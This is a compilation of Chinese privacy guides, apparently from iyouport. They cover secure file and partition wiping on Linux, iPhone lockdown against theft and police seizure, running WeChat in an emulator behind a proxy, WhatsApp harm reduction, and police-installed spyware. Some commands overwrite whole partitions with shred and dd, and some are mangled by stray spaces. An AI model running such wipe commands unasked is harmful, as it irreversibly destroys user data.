如果你是博客作者，请记住作者身份分析！可以用来识别你。这方面有套学问，但是往往不需要学习它也能做到，那就是凭经验，如果你担任编辑职务多年、或更简单只是个书虫，你也能有这种能力。所以，换位思考，当你写作并不希望被他人识别出来的时候，请注意采取你并不习惯的表达方式、标点符号的使用、标志性词汇、俚语、以及断句的偏好。

——释放磁盘空间——

apt：

要删除已安装（不再需要）的已下载软件包（.deb）：

```
$ sudo apt-get clean
```

要删除缓存中所有存档，以查找无法再下载的软件包（不再存储在存储库中的软件包或存储库中具有更新版本的软件包）：

```
$ sudo apt-get autoclean
```

删除不必要的软件包（卸载应用程序后，可能会有不再需要的软件包被留下）：

```
$ sudo apt-get autoremove
```

要删除旧内核版本：

```
$ sudo apt-get remove --purge linux-image-XXXX-XX-generic
```

如果您不知道要删除哪个内核版本：

```
$ dpkg --get-selections | grep linux-image
```

bleachbit：

——粉碎文件和删除数据——

即使擦除硬盘上的所有内容，有时也可以使用*取证软件和/或硬件*恢复（部分）数据。如果该数据是值得保密的，则安全地删除文件和数据，以便没有人能够恢复它们。

加密和压缩文件时，压缩/加密文件之前存在的明文版本或解密/解压缩后创建的明文副本仍保留在硬盘驱动器上。可能还会留下“临时”文件。除非你清除—— 而不仅仅是删除—— 那些明文文件。

您的个人数据的回声—— 交换文件，临时文件，休眠文件，已擦除文件，浏览器工件等—— 可能会保留在您用于访问（加密）数据的任何计算机上。提取那些回声只是一项微不足道的任务。这是一个陷阱。于是，请清除—不只是删除—回声。

粉碎文件——

Linux，FreeBSD 和许多其他* nix系统都附带了一个名为 shred 的命令行工具。即使使用高灵敏度数据恢复设备，shred 命令也可用于销毁文件使其内容很难恢复。它会使用随机数据重复覆盖原始数据和相关的文件或设备名称。如果在没有选项的情况下使用，Shred 将覆盖给定的文件或设备25次。设备可以是分区或整个 HDD、USB 密钥驱动器等。

```
$ shred [option(s)] file(s)_or_devices(s)
```

例如

```
$ shred filename1 filename2
```

将粉碎两个文件，

```
$ shred / dev / hda4
```

以及，将粉碎第一个硬盘上的第四个分区。

默认情况下，shred 在覆盖文件或分区后不会删除它们。可以使用 -u 选项删除覆盖的文件。

```
$ shred -u filename1 filename2
```

这既为其他数据释放了磁盘空间，又使得重建碎片数据变得更加困难。

Shred 依赖于文件系统覆盖数据的假设。但是像 Ext3 和 ReiserFS 这样的日志文件系统、基于RAID 的文件系统、压缩文件系统，以及在临时位置缓存数据的文件系统，都不能满足这一假设。此外，文件副本可以保留在文件系统备份和远程镜像中。因此，粉碎分区比粉碎文件更可靠。

即使在粉碎分区时，大多数硬盘驱动器都会将不可见的区域映射到应用程序，其中包括碎片。这些区域的敏感数据不会被粉碎。

使删除的数据难以恢复——

DD：

将零或随机数据写入驱动器上的文件，直到它填满所有可用空间，然后将其删除：

```
$ dd if = / dev / urandom of = / path / filename1
```

然后删除：

```
$ rm / path / filename1
```

这也适用于分区：

```
$ dd if = / dev / urandom of = / dev / sda4
```

然后删除：

```
$ fdisk /dev/sda4

Command (m for help): d

Partition number (1-4): 4
```

——永久删除文件——

Secure-Delete 包附带四个命令：

srm（安全删除）是“shred”命令的更高级版本。它使用由密码学家 Peter Gutmann 开发的随机数据、零和特殊值的组合来使文件无法恢复。碎化工具允许您指定通过次数，安全删除工具使用默认的38次通过。它还将为文件名分配一个随机值，隐藏该关键证据：

```
$ srm filename
```

删除目录及其所有子目录（递归）：

```
$ srm -r directory/
```

smem（安全内存擦除）删除保留在内存中的残留数据。拥有合适工具的人可以相对轻松地找出存储在 RAM 中的内容，这可能是重要文件、互联网活动或其他任何与计算机有关的内容。smem 有点慢。有一些选项可以加快速度，但是会增加风险。

调用:

```
$ smem
```

sfill（安全可用空间擦除）擦除磁盘上存在过去文件的所有可用空间。如果您正在摆脱硬盘，这个会特别有用; 您可以启动 LiveCD，删除磁盘上的所有内容，然后使用 sfill 确保没有任何内容可以被恢复（以 root 身份）：

```
# sfill mountpoint/
```

注意：如果您在单独的分区上有/ home /并且尝试/ home / hilarious / wrong 作为 mountpoint，则 sfill 将很乐意擦除错误目录所在的可

用空间 (the entire /home/ partition).

sswap（安全交换擦除）擦除交换分区。当 RAM 填满时，交换分区存储正在运行的程序的数据。

先找到它，运行

```
$ cat /proc/swaps
```

或者在/ etc / fstab 文件中查找 swap 类型的文件系统。它可以是/ dev / sda5 或 / dev / dm-1等。

禁用交换分区：

```
$ sudo swapoff /dev/sda6
```

擦除

```
$ sudo sswap /dev/sda6
```

重新启用:

```
$ sudo swapon /dev/sda6
```

bleachbit：

好啦。希望您的大扫除足够愉快！〇

原文

如何通过一些设置预防iPhone被盗或被警方查抄所造成的损失？ - iyouport

护盾（AS）

【2019年10月18日存档】手机丢了或者被警察抢走了，这是无比糟糕的事。而且这种危险随时可能发生。为了将损失降至最低，您需要提前作好防备。

如今我们的电话已经不仅仅是一个电话，说它是身家性命都不为过。您一定理解这个道理。

手机是警方当局和犯罪分子瞄准的重点目标。

为了防止这种情况发生，你应该采取预防措施，越早越好。

提前声明，以下步骤的适用范围不包含您的对手是NSO那类公司的客户时的状况。一般情况下您也很难遇到那种状况（至少他们的间谍工具非常贵，并非随便哪个小偷和警察部门就能买得起的）

以下是一些步骤，是您最基本要做到的。

提示一：设置生物识别身份验证

请注意，这是防小偷的，有可能不防警察（防警察的办法后面说）尤其是在警方可以强迫按压您的手指解锁和/或扫描你的面部而不受惩罚的国家。

您也许曾经被建议设置指纹而不是面部ID；因为面部识别可以在不接触的情况下解锁，似乎更不安全。

但是这不确定。

由于禁用很容易，于是，⚠这需要您根据自己面对的实际风险作出尽可能准确的评估。

是的，您的密码依旧是一层安全保护，对某些人而言可能已经足够了，但是 Touch ID 可以增强您的安全性并使窃贼和黑客更难进入您的物理设备。

下一步更最重要。

提示二：了解如何快速禁用生物识别技术

现在您已经设置了面部ID或触控ID，这是一件非常重要的事：如果抢劫者或执法部门拿走您的 iPhone，它们可能会被用来对付您。

犯罪分子和警察当局可以强行使用脸部或指纹解锁你的 iPhone，后者甚至还有权在合法的情况下没收你的设备。

请注意，⚠掌握时机是非常重要的！

只要您知道如何操作，您就可以在瞬间让 Face ID 或 Touch ID 失效，而不会弄乱屏幕上的任何内容。

只需按一下按钮即可锁定生物识别访问。

2.1 快速禁用面部**ID**

要禁用面部ID，只需同时按住侧面按钮，同时按下开关键音量调高或音量调低按钮。如果你愿意的话，你甚至可以按住所有三个。保持约两秒钟。

⚠一定要保持足够长时间；您需要能看到“滑动关机”开关出现。一旦出现该屏幕，就放手。

重要提示：如果您的脸部在按下按钮组合之前已经解锁屏幕，或者您已经在主屏幕或应用程序中处于解锁状态，则必须单击侧面按钮一次以关闭屏幕或让它自己睡着。如果不这样做警方依然可以访问您的手机，因为它目前已经解锁。

第二个选项。

连续5次单击侧面按钮（也称为睡眠/唤醒（电源）按钮）将激活紧急SOS屏幕，这将禁用 Touch ID，直到输入密码为止。

使用 iPhone X，X S，X S Max和X R，快速单击Side按钮五次也将激活紧急SOS；它会直接进入倒计时模式，而不是“滑动关机”，所以你

必须手动阻止它调用911。但是这样做将有效地禁用 Face ID。

重要提示：和前面的选项一样，如果您的脸部在执行五次点击之前已经解锁了屏幕，或者您已经在主屏幕或应用程序中处于解锁状态，那么您必须单击侧面按钮一次以关闭屏幕或让它自己入睡，否则无效。

如果您不喜欢这种方法，或者您害怕可能不小心拨打了911，可以在“设置”应用中禁用这一快捷方式。

此外还有一个选项，在上述两个选项都不合适您的情况下。

也就是制造*多次识别失败*和关闭或重新启动设备。

如果您只想暂时禁用 Face ID ，关闭并重新启动 iPhone X，X S，X S Max和X R的方法就有点过了，因为您必须执行与选项1相同的操作，而且要步骤更多。

警告：注意力检测功能是 iPhone X，X S，X S Max和X R的设置，可防止脸部ID在您直接面对iPhone之前解锁iPhone。

设置需要您的全脸—包括眼睛—以解锁您的设备。也就是说，角度是自然的 时就能解锁。但是这个角度很有限。

如果没有激活此注意力检测功能，有人可能会在您不看屏幕时（甚至在您睡觉时）将 iPhone 指向您的脸部来解锁 iPhone。

2.2 快速禁用指纹**ID**

在美国，执法部门可以让您通过指纹解锁智能手机，但他们不能强迫您输入密码或PIN，这将违反您的第五修正案权利。

在中国，没有第五修正案，他们什么都可以做。所以您需要能快速禁用指纹解锁，并且尽可能争取10次密码 错误以自动擦除手机。

iOS 11及以上都可以做到让您在几秒钟内禁用Touch ID。

想要暂时禁用Touch ID，你只需快速按下电源按钮五次即可，这时屏幕会显示“紧急SOS”页面，你可以呼叫紧急联系人，但同时，这样也可以防止你的iPhone在没有密码的情况下被解锁，也就是说此时已无法用指纹解锁设备。

如上所示，弹出紧急SOS屏幕，您无需再进行任何操作，只需点击“取

消”即可。

在警察砸门之前几秒钟内就可以完成。

下次您尝试使用带有Touch ID的已注册指纹时，它会告诉您“您的密码是启用Touch ID所必需的”。大多数执法部门都无法绕开它。

总结一下让生物识别快速失效的几种可能性：

- 设备刚刚打开或重新启动。
- 设备处于锁定状态超过48小时。
- 在过去的六天半内没有使用密码解锁过设备，且在过去的 4 小时内没有通过面容 ID 解锁过设备。
- 设备已收到远程锁定命令。
- 面部匹配尝试失败五次后。
- 在同时按住任一音量按钮和侧边按钮 2 秒钟以关机/发起 SOS 紧急联络之后。
- 如果设备的电池电量低于10%。

⚠如上，牢记它们！根据您当时所处的情况，您可以选择最适合自己的一种，以保全设备和人身安全为基本目标。

提示**3**：更强的密码

如果您在第一次打开 iPhone 时设置了密码，则可能是四位数或六位数字代码。

尽管具有一百万种六位数代码的可能组合比仅有10,000种的四位数代码的可能组合更安全，但它仍然相当弱。

一台名为 GrayKey 的 iPhone 黑客机器可以在大约11个小时内破解六位数的密码。

如果您想要在 iPhone 上获得最佳安全性，则应切换到自定义字母数字或纯数字密码。

两种类型都允许比通常的密码选项更多的数字/字符。如果你想坚持全数字的模式，将你的密码长度达到10位数就可以给它带来1亿种不同的组合。

一旦您选择了新密码并将其输入了“设置密码”屏幕，您将被要求确认您的新密码，因此请继续操作。

但是，这时您可能会收到提示，要求您使用新密码从 iPhone 更改 Apple ID 密码。

⚠我们建议您跳过此提示，因为它可能让进入iPhone的小偷和警察更容易访问并接管您的Apple / iCloud帐户。所以点击“取消”。（当然，前提是您的iCloud帐户不在“云上贵州”）

取消此提示意味着您需要使用安全问题或双因素身份验证来确认您的身份并在需要时更改Apple ID密码。

提示**4**：尽可能快地更新到最新的**iOS**版本

这无需更多解释。

当然，这种方法不会让你躲开0day黑市的威胁。但要知道 Apple 的 0day 是最贵的，一般人买不起。

犯罪分子和警方当局可以很邪恶，但是他们也要有价值衡量；如果您的数据价值100万美元，而解锁您的设备以获得数据需要的工具价值200万美元或更多，他们就会退缩。

提示**5**：备份数据

危险随时都会发生，而且基本不会让您事先收到什么提示。这就是为什么您应该随时做好防备。

现在您不再需要使用 iTunes 将设备备份到计算机上 —— 您可以直接从 iPhone 进行操作。

在“设置”中点击“iCloud”，然后点击“iCloud Backup”。

启用“iCloud Backup”（如果尚未启用），然后点击“立即备份”以备份您的设备。（再一次：需要您不在“云上贵州”）

如果启用了“iCloud Backup”，则当 iPhone 连接到电源并且您已连接到 Wi-Fi 时，将自动备份您的数据。

提示**6**：在锁定屏幕上禁用**USB**附件

iOS中有一个更新的设置，允许您连接到附件而无需解锁设备，虽然这确实简化了过程，但它也可以让您面临潜在的风险。

⚠犯罪分子和警察可以利用此功能绕过您的锁屏密码并进入手机 ——这就是您应该从锁定屏幕禁用USB附件的原因。

在“设置”中，转到“面部识别码和密码”或“触摸ID和密码”，输入您的密码，然后一直向下滚动。确保“USB附件”旁边的拨动开关关闭（不是绿色）。

提示**7**：关闭锁定屏幕消息回复

您应该在锁定屏幕上禁用的另一个功能是“回复消息”。

想象一下，有人偷了你的 iPhone，你收到了一个与你亲近的人发来的短信。然后小偷可能会伪装成你，给他们发短信，并以狡猾的方式询问你的密码。

并且还可以采取其他社交工程攻击。

要防止出现这种情况，只需在“面部识别码和密码”或“触摸ID和密码”设置中禁用“回复消息”功能即可。

虽然这样做您自己也无法通过锁定屏幕回复消息，但最好先花点时间解锁您的设备，而不是让您的设备更容易被犯罪分子和警察攻击。

提示**8**：将**iPhone**设置为自动擦除

一个非常幸运的犯罪分子可以猜出你的密码，但你可以让这个过程变得更难。稍微有点难就行。

iOS上的“擦除数据”功能会在10次尝试解锁失败后擦除设备上的所有数据，这使得犯罪分子和警方几乎无法访问您珍贵的数据。

只需确保准备好 iCloud 备份，以便以后您自己仍可以访问它。

再次在“面部识别码和密码”或“触摸ID和密码”设置中，打开“擦除数据”旁边的切换按钮，然后点击“启用”将其激活。

如果您是经常忘记密码的人，即使您启用了面部识别码或触摸ID，也可能不想这样做，因为您有时仍需要密码。所以，请斟酌自己的情况。

提示**9**：设置查找我的 **iPhone**

“查找我的iPhone”不仅会向您显示设备的确切位置，还可以让您远程擦除设备，并在您的设备上留下消息和联系信息锁屏。

要启用“查找我的iPhone”，请在“设置”应用中点击您的姓名，然后点按“iCloud”并向下滚动，直至看到“查找我的iPhone”。

在这里，您可以启用“查找我的iPhone”以及“ 发送最后位置 ”；当电池电量非常低时，它会自动将 iPhone 的位置发送到“查找我的 iPhone”。

好了。就是这样。

再次重申，以上步骤能对付大多数危险情况，但是无法对付美国国安局和NSO那种间谍；当然，绝大多数情况下您不会遇到后者。所以，先做好基本安全。〇

原文

如果您仍需要使用微信，这里有一个简易指南以尽可能保护您的安全 - iyouport

护盾（AS）

【2020年6月30日存档】关于不得不使用微信时如何保护您的安全。

感谢 *Strayer*（*@Strayer35925917*）供图

按：非常感谢来稿的朋友！这位朋友提供了一个很好的技术建议，希望这篇文章能被更多中国读者获得。

如您所知，IYP 的读者来稿通道主要支持解决方案的思考，即 根据您和您的周边人所面临的难题、困境，寻找可能的方法和措施。它可以是技术角度的、可以是思想角度的、可以是行动经验的延展、也可以是前所未有的创造力。唯一的期待是，实用价值。

我们在这里，随时恭候您的智慧。

【读者来稿】 IYP 的中文读者都知道微信是国家级的大规模监控工具，但在中国，很少有人能够避免使用它，包括在华的外国人。

当需要和家人、朋友、同事、客户等等社会关系建立便捷的即时通讯渠道，微信几乎是普通中国人的 “唯一选择”。

如果您也未能免俗，不妨思考如何在减少隐私暴露的前提下，尽可能“安全”地使用微信。“戴着镣铐跳舞”，这是在集权统治下技术公民必须学会和经常做的事。

言归正传，微信的隐私威胁主要来自两个方面：# 搜集和分析聊天数据，基于大数据分析向用户推送广告和向政府报告敏感内容。

- 利用手机广泛搜集元数据，并结合其他数据集（如搜索关键词、社交媒体帐号、浏览内容、其他APP信息等），精准详细地分析描绘出用户的数字生活乃至日常生活全景。

在上述危险中，1 是您无法避免的，只能通过减少使用来减少损失。

微信聊天内容对政府是完全透明的，您当然知道只在微信中保留必要的少数几个联系人，不使用 “钱包” 和 “朋友圈” 等多余功能，聊天时只谈工作、生活上不敏感的事，这样即使您是警察重点关注对象，也能将信息风险控制在可以接受的范围内。

有些朋友可能认为使用境外手机号注册微信能避免被审查。一定程度上的确如此，比如香港话题、新疆话题，中国手机号注册的账户不能说，或者消息无法显示，但境外手机号注册的账户就可以显示这类内容。但是，境外手机号注册时会被监控，监控的结果被用来审查所有中国微信使用者。

（编者注：这是加拿大公民实验室最近的调查所揭示的，IYP不久后将发布具体解读，关于微信如何操作这种监视）

您能做的，是通过技术手段来避免上述 2，即：减少微信的元数据和手机数据搜集。

忘记那些复杂难懂的权限管理APP和技巧吧，智能手机就是为搜集数据而生的间谍工具，将您的手机调教成“乖孩子”不过是痴心妄想。

丢掉手机，笔记本电脑运行虚拟机是您使用微信的更好选择。

请按照以下步骤操作 ——

「图」

第一步：

「图」

4G随身路由器，电量越大越好，能够满足6小时开机，某些型号甚至可刷 openwrt 固件，能改MAC地址，安全性更佳。

使用电话卡流量上网，推荐购买 “已实名” 的流量黑卡，物联网卡更佳，因为缺少一些普通手机卡的电信指令，更难被定位和监控。

第二步：

「图」

一台笔记本电脑，最好是超级本，有较大的内存，超长的续航，可一整天开机使用。

如有较高安全需求，可将摄像头遮蔽，麦克风模块取掉，被称为 mic blocker 的小工具也可屏蔽麦克风。

第三步：

「图」

安装 virtualbox ，如需剪贴板共享等功能，请为 virtualbox安装拓展包。

然后安装 genymotion Desktop，注册后（https://genymotion.com/account/create/）使用免费版本，注意填写有效的邮箱以接收验证码。

下面在 Linux 系统下演示，通常认为 Linux 的安全性和性能优于 Windows 等闭源操作系统。

但本文所演示内容在 windows 下也有效。

第四步：

「图」

创建虚拟机。

在 genymotion 界面点击＋号，列表中选择要虚拟的设备。

推荐使用8.0版本的 Android API，设备选择手机而非平板，因为虚拟平板在使用微信时存在屏幕90度翻转且无法调节的bug。

由于微信需要arm指令集支持，您还需要下载相应版本的补丁，将zip文件拖到 genymotion 虚拟设备界面即可安装。

然后安装微信，您可以选择apk安装包，也可通过 安装OpenGapps框架 后在谷歌商店安装。

第五步：

「图」

配置代理服务器。

花些小钱购买一个 VPS 是必要的，搭建 shadowsocks/v2ray/trojan/迷雾通等可以 “长连接” 的 socks 代理服务（教程很多，请自行搜索学习）。

如果有他人提供的可靠的代理服务器也可以用。

在运行虚拟机的笔记本上运行代理软件客户端，安装并配置 privoxy 软件，修改 config 文件，找到 “forward-socks5t” 这一行，修改为 “forward-socks5 / 127.0.0.1:[代理软件的本地端口] ”，重启 privoxy。

第六步：

「图」

运行虚拟设备。

在 android 设置界面依次：点击WIFI—— 长按热点名称—— 修改—— 高级选项—— 代理方式手动—— 主机名10.0.3.2，端口8118—— 点击保存。

您的虚拟设备可以全局代理上网了，运行并登录您的微信吧！

现在，您可以把智能手机这个随身间谍留在家里了！

只要带上笔记本电脑和4G随身路由器，随时可以通过微信与关系人联系，还不用担心过多的元数据被腾讯公司采集。

通过 **genymotion** 的一些高级功能，您甚至可以伪造一系列地理位置和轨迹以及其他虚假信息，这在情报行动时非常有用。

不想当技术的奴隶，就要努力成为技术的主人。希望IYP的读者们能有一个平台分享各自的知识、经验和工具，在线上交流和线下协作中培育中国社会的行动派。因为在前方，我们还有很多美好的仗要打。

开始行动，世界才会改变。〇

原文

如果您必需使用 WhatsApp：这里是减少伤害的办法 - iyouport

护盾（AS）

【2019年10月24日存档】WhatsApp 不是被推荐的工具，但是如果您的重要联系人关系一时无法全面转移，请按照本指南中的解释更改您的操作习惯，以减轻危险。

「图」

世界各地的活动家和记者都在使用 WhatsApp 来传播和分享敏感的人权和政治信息。

虽然 WhatsApp 不是最安全的选择，但我们认为周知关于此应用程序的减少危害提示非常重要。

WhatsApp 太受欢迎了，但 WhatsApp 缺少一些重要的功能，正如我们在下面讨论的那样 —— ⚠如果你没有正确使用它，就有可能会让你自己和他人都处于危险之中。

WhatsApp 为个人和团体启用了端到端加密。这意味着理论上消息的内容只能由撰写和接收消息的双方阅读，而不是中间的任何人 —— 包括执法人员，他们可能会向 WhatsApp 提供合法的数据请求。

但是，有许多方法可以使这种加密失败。

1、安全是一个社区问题

首先，无论您自己的安全性有多大，您也需要始终依赖于与您沟通的其他人的安全性 —— 当然同时他们也依赖于您。

在这里看到《做到安全所需要的思考方式》

就如我们在行动技巧中提到过的，重要的是要与他人讨论安全问题，并考虑你们中谁的风险可能性比较高、以及如何对他们采取特别照

顾。（这里有行动技巧系列的过往回顾）

例如，您可以定期删除可能从团队其他人那里收到的消息、视频和图像，甚至可以使用代码名称保存其联系信息（只有你知道“猫一只”代表的人是谁），从而保护特别易受攻击的联系人（如 社区领导者）的身份。

您可能还希望为群组成员签订安全协议。这对于彼此了解的群体/社区非常有用，尤其是对于较大的公共群体来说，您值得尝试。

要注意协议不能令人感觉困难。不能是排斥性的或竞争性的；团队的凝聚力和协作积极性对行动来说是非常重要的。

🌤您可以通过在每次新人加入小组时发送欢迎消息，来表达您想要的安全期望。

如果您是包括记者在内的小组的成员，您可以包含有关记者可以如何与小组成员互动的确切说明。

您还可以包含有关添加新成员的过程的要求、有关删除旧信息的期望，以及有关您在群组中将要说什么或不会说什么的协议。例如这样：

欢迎来到我们的社区组织！……如果未经至少三名其他成员联合批准，请不要添加任何新成员；请及时删除发送超过3天的信息和媒体内容，尤其是视频；请不要在 WhatsApp 消息中使用云备份；请不要讨论该群组中任何成员的实际地理位置 —— 安全是团结才能实现的。感谢你的理解！……

当然这是最简单的一个例子，您可以加入更多，一定要注意尽可能简洁易于所有人操作；并且，您自己还需要准备**planB**，关于：如果有任何成员没有遵守规则，您应该如何处理。

这一规则在任何加密通讯群组中都适用。

2、明确元数据

虽然 WhatsApp 可能无法直接访问您发送的内容，但他们仍会收集使用者的信息，这些信息可以说明您是谁、您的朋友和社区都是谁、您将去哪里、以及您何时使用该应用。

目前还不完全清楚 WhatsApp 可以访问的内容具体都有哪些，但他们

的“执法机构信息”页面指出，⚠他们可以向执法部门提供 “姓名、开始使用该服务的日期、最近一次查看的日期、IP地址、和电子邮件地址”、以及“用户正在阻止或已经阻止的号码、还有 “简介信息、个人资料照片、群组信息、和地址簿”。

而且，一位记者查看了美国的法院材料，并发现了警方对位置数据的要求。

事实上，正如 Himanshu Gupta 和 Harsh Taneja 在2018年8月的一篇文章中指出的那样，“WhatsApp 使用加密哈希（每个文件唯一的加密文本）唯一标识每个附件，每当下载附件被“转发”时，WhatsApp 会检查其服务器上是否已存在具有相同加密哈希的文件；

如果答案是肯定的，WhatsApp 不会将文件从用户手机上传到服务器，而是将存储在其服务器上的文件副本直接发送给最终收件人；

这表明 WhatsApp 可以指向驻留在其服务器上的特定文件，尽管端到端加密。”

⚠必须明确这点以便理解 WhatsApp 的隐私氛围。

您有必要启用独立的“角色”来参与 WhatsApp 上的敏感交流，在这里看到方法《分裂人格的魅力》；《角色扮演：行动者刚需》

「图」

3、时刻记得 Facebook 与 WhatsApp 相关联

WhatsApp 是“Facebook 家族”的一部分。2016年，WhatsApp 改变了服务条款，请注意：那时开始它会“将你的手机号码与 Facebook 系统连接起来”。

由于通用数据保护条例，WhatsApp 在欧盟国家有一些特殊限制，但在全球其他地方，这种数据共享似乎已经到位。

这意味着 WhatsApp 上的联系人可以 —— 并且很可能已经 —— 被分析并与 Facebook 上的联系人建立了联系。

图：联系人

WhatsApp 的隐私政策中有明确说明您的信息可被用于制作 “产品建议（例如，朋友或社交关系、或感兴趣的内容推荐）。”

这意味着如果您与某人同在 WhatsApp 小组中，可能就会被建议作为 Facebook 上的联系人。

尤其是您参与的是行动团体的话，这会非常危险。

⚠避免这种追踪的方法是：确保您注册 WhatsApp 的电话号码与 Facebook 完全无关；并且确保您的手机上没有 Facebook 应用程序。

方法详见《4款最佳一次性手机号码应用：适用 Android & iPhone》；《如何建立一个匿名 Facebook 账户以保护个人数据的私密性？》；《如何不暴露手机号、不花钱，实现双因素身份验证？》

如果您已经与 Facebook 共享了手机号码、或在手机上安装了 Facebook 应用程序，那么您唯一的选择可能是使用完全不同的手机号码注册 WhatsApp 账户，教程在上面。

请注意 WhatsApp 无法选择退出此信息共享。

4、关于物理安全

数字安全和物理安全是一回事，WhatsApp 就是一个很好的例子。

⚠不论是拦路搜查、还是在群体事件现场突袭，执法部门通常会强迫人们打开 WhatsApp 允许警方查看内容和联系人。

不要认为他们看一眼就结束了。⚠因为这些信息很快会被用于进一步骚扰其他活动家或边缘社区的成员。

最佳做法是在备份任何重要内容后定期删除 WhatsApp 消息。

您可以设定在发送消息后的一个小时内从所有人的手机中删除信息，选择“Delete for everyone”。

还要考虑保留或传输您在本地导出或备份的数据所带来的物理安全风险。

⚠并考虑加密您的设备，这是很重要的；尽管，如果您遭受身体暴力而被迫交出密码的可能性也存在 。

具体做法详见《指南：当您准备参加抗议活动…》

5、您真的知道您正在联系的人是谁吗？验证联系人

首先，在这里使用常识很重要。

在大型 WhatsApp 群组中，您可能会遇到从未谋面的人。

使用您可以用来确定某人是谁的常规方法，例如 询问某个群组的管理员、或在 Facebook 等其他地方使用开源调查的基本方法搜索，看看您是否与该人有共同的熟人。

⚠这一点尤为重要，因为 WhatsApp 确实存在安全漏洞，允许有权访问 WhatsApp 服务器的人加入未经邀请的账户进入团体。

如果您正在与一个大型团队中自称为记者的人打交道，请事先在线搜索他们、或向他们索取他们撰写的报道的链接，或其他证明性信息。

一般来说，了解某人是谁的最佳方式是亲自与他们会面。当然，也许有些时候不方便，那么下一个最好的方法就是与值得信赖的熟人交流。如果可信的人推荐也可以认为是可靠的。

一旦你确定认识某人，最好能确保你实际上正在联系这个人。

WhatsApp 端到端加密使用“密钥”来验证您获得的消息是否真的来自该人。

当这种方法有效的时候它可以是一个非常强大的系统。但是，您需要一些重要的方法可以保证它确实有效。

首先，您可以通过验证密钥来验证您是否从正确的人那里收到了消息。

查看 EFF 对 Android 或 iOs 上的 WhatsApp 密钥安全性的精彩说明 —— 只需一分钟。

一旦验证了某人的密钥，您还应该打开安全通知，如果有人“更改了他们的密钥”会收到提示。

当人们在新手机上重新安装 WhatsApp 时会发生这种情况，但是，⚠这也可能意味着有人试图模仿您的联系人对您钓鱼。因此，如果您收到该消息提醒，应通过其他渠道（如语音呼叫/另一个加密通信）对对方进行核实。

此外，别忘了去年的披露：全球一流间谍机构英国政府通信总部（GCHQ）信号情报部门的两名官员设计了一个可以解决棘手问题

的“建议”，即 如何拦截端到端的加密通信—— 而不会从表面上看到加密被破坏或削弱的结果。在这里看到 《英国间谍如何对端对端加密开刀》。

这强调了验证的重要性。

6、不要使用云备份绕过端到端加密

不论是 Android 还是 iOs，不要启用自动云备份。

虽然这些备份在 Google 或 Apple 的服务器上进行了加密，但是第三方存储本身会使应用程序中的端到端加密变得毫无意义。

因为 Google、Apple 会遇到警方的合法强制要求（参见棱镜文件）、并且以其他方式获取访问权限的人也都可以阅读、下载或分析您的 WhatsApp 消息（比如骇客）。

Apple 会向执法部门提供 **iCloud** 数据，**Google** 也会回应当权者的数据请求。

如果使用云备份，当遇到法院命令和传票的时候您就失去了保护。而且你可以完全不知道为什么。

对于那些使用 WhatsApp 来处理敏感问题或与边缘化社区进行沟通的人来说，这些被第三方存储的消息、视频、图像、联系方式和详细的网络信息是一个重要的安全和隐私风险。

如果您不想备份 **WhatsApp**，而是希望记录您的聊天记录和媒体视频以便用于日后问责或仅仅保存，则可以将其导出并保存在应用程序之外。

WhatsApp 去年进行了两项更改。其中一个更改是，WhatsApp 和谷歌将为 Android 用户提供无限制的免费存储 WhatsApp 备份在 Google 云端硬盘上，而不会计入您在 Google 云端硬盘上的存储空间配额。

虽然这可能很诱人，但是，如上所述，将此内容存储在 Google 云端硬盘上首先会破坏端到端加密的重点。

我们强烈建议用户不要使用 Google Drive for WhatsApp 备份。

相反，您可以使用手机上的文件管理器查找 WhatsApp 本地备份，您

也可以使用我们即将发布的指南从应用程序中获取聊天内容和媒体内容。

最后

首先，WhatsApp 应该设置定时清除，这意味着应该可以在发送一段时间后自动彻底删除消息。这意味着您可以减少对他人良好安全卫生的依赖。

其次，WhatsApp 应该允许用户随时选择退出与 Facebook 的数据共享。这减少了不必要的关联的危险。

同样，WhatsApp 应该简单地对用户呈现它都收集了哪些元数据，以便用户可以对自己如何使用该应用程序做出明智的选择。

第三，WhatsApp 应该为备份启用“零知识”加密，这意味着这些备份仍然只能为用户读取。

如果 WhatsApp 做不到这些，它至少应该提供更清晰的应用内警告，清楚地表明 iCloud 和 Google 备份的加密程度与端到端加密保护的不同。

总之，WhatsApp 不是推荐的工具，但是它的用户量 太大了，很多人尤其是 敏感人士和记者非常依赖该应用程序；于是我们作出以上建议，希望您能通过本指南了解自己面临的风险，并选择合适的建议更改您的操作模式。〇

原文

如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？ - iyouport

护盾（AS）

【2018年10月25日存档】当警察在你的手机上强行安装应用，你怎么做才能最小化被监视的影响？毫无疑问，卸载并不会完全解决这个问题，因为警察随时可能抽查你的手机然后再次安装间谍软件，所以理想化的情况是让间谍软件能“正常工作”，但不会真正监视到你...

那种叫“净网卫士 Jingwang Weishi ”的间谍软件会记录有关其安装设备的一切信息，包括 IMEI、手机型号和制造商以及电话号码。该应用程序可以在手机中搜索图像，视频，录音和文件[...]

拒绝安装很可能反而令你立刻成为当局关注的重点目标，甚至会因此被拘留（都说不定）；再买一部手机的想法也许有用，但很多人做不到，即便做到也很容易被再次查到。所以这些方法都不是太靠谱。

那么怎么办？也许还有以下这些选择，看看哪一个适合你。请注意，都有不同程度的风险。

1. 虚拟机/双启动

“双启动”Android 手机有一些选项。如果您可以让手机进行双启动，那么您可以在一个 ROM 上安装当局要求的监视软件，然后在另一个 ROM 上放置所有个人资料。您可能需要在安装了跟踪应用程序的 ROM 上放置一些基本信息，一些闲杂的信息，比如游戏什么的，你认为不敏感的东西，这样就不会引发监视者太多的警惕。

你需要保持不敏感的 ROM 几乎一直在运行，仅在您真正需要时才在安全的 ROM 上启动。

您还需要保持安全的心态，了解您正在使用的 ROM 是哪一个以及您可以创建或访问的内容是什么。这是非常重要的，也是最有可能失败

的要点。建议在每个 **ROM** 上使用不同的键盘，或者使用不同的操作系统语言设置，都是有好处的：例如，中文用于不敏感的，英语用于安全的。

当然，这样做仍然存在风险：他们可能会重新启动您的手机并注意到这些；他们可能会发现您在监视软件的系统旁边安装了完全不同的系统；以及误操作问题，你需要时刻记得自己正在哪个 ROM 里。

2. 应用程序修改/拦截器

如果这个用于监视的应用程序引起了足够多的新闻报道，那么反跟踪应用程序或此应用程序的黑客版本可能会开始出现，试图自动保护您免受攻击。

但是很难期待有任何能立刻拿来使用的通用工具可以保护你免受监视的影响，因此只能通过大量的搜索或者找到（如果有的话）合适的人帮忙。这里有一个很大的缺点，除非你自己就是逆向工程方面的专家，否则很难做到这点。而且还很难估计发现的风险是什么。

3. 服务器欺骗

根据您自己的技术知识水平，可以考虑自己组合一些东西（注意：这不适合初学者）。以下尝试总结一些有关服务器欺骗措施的信息。

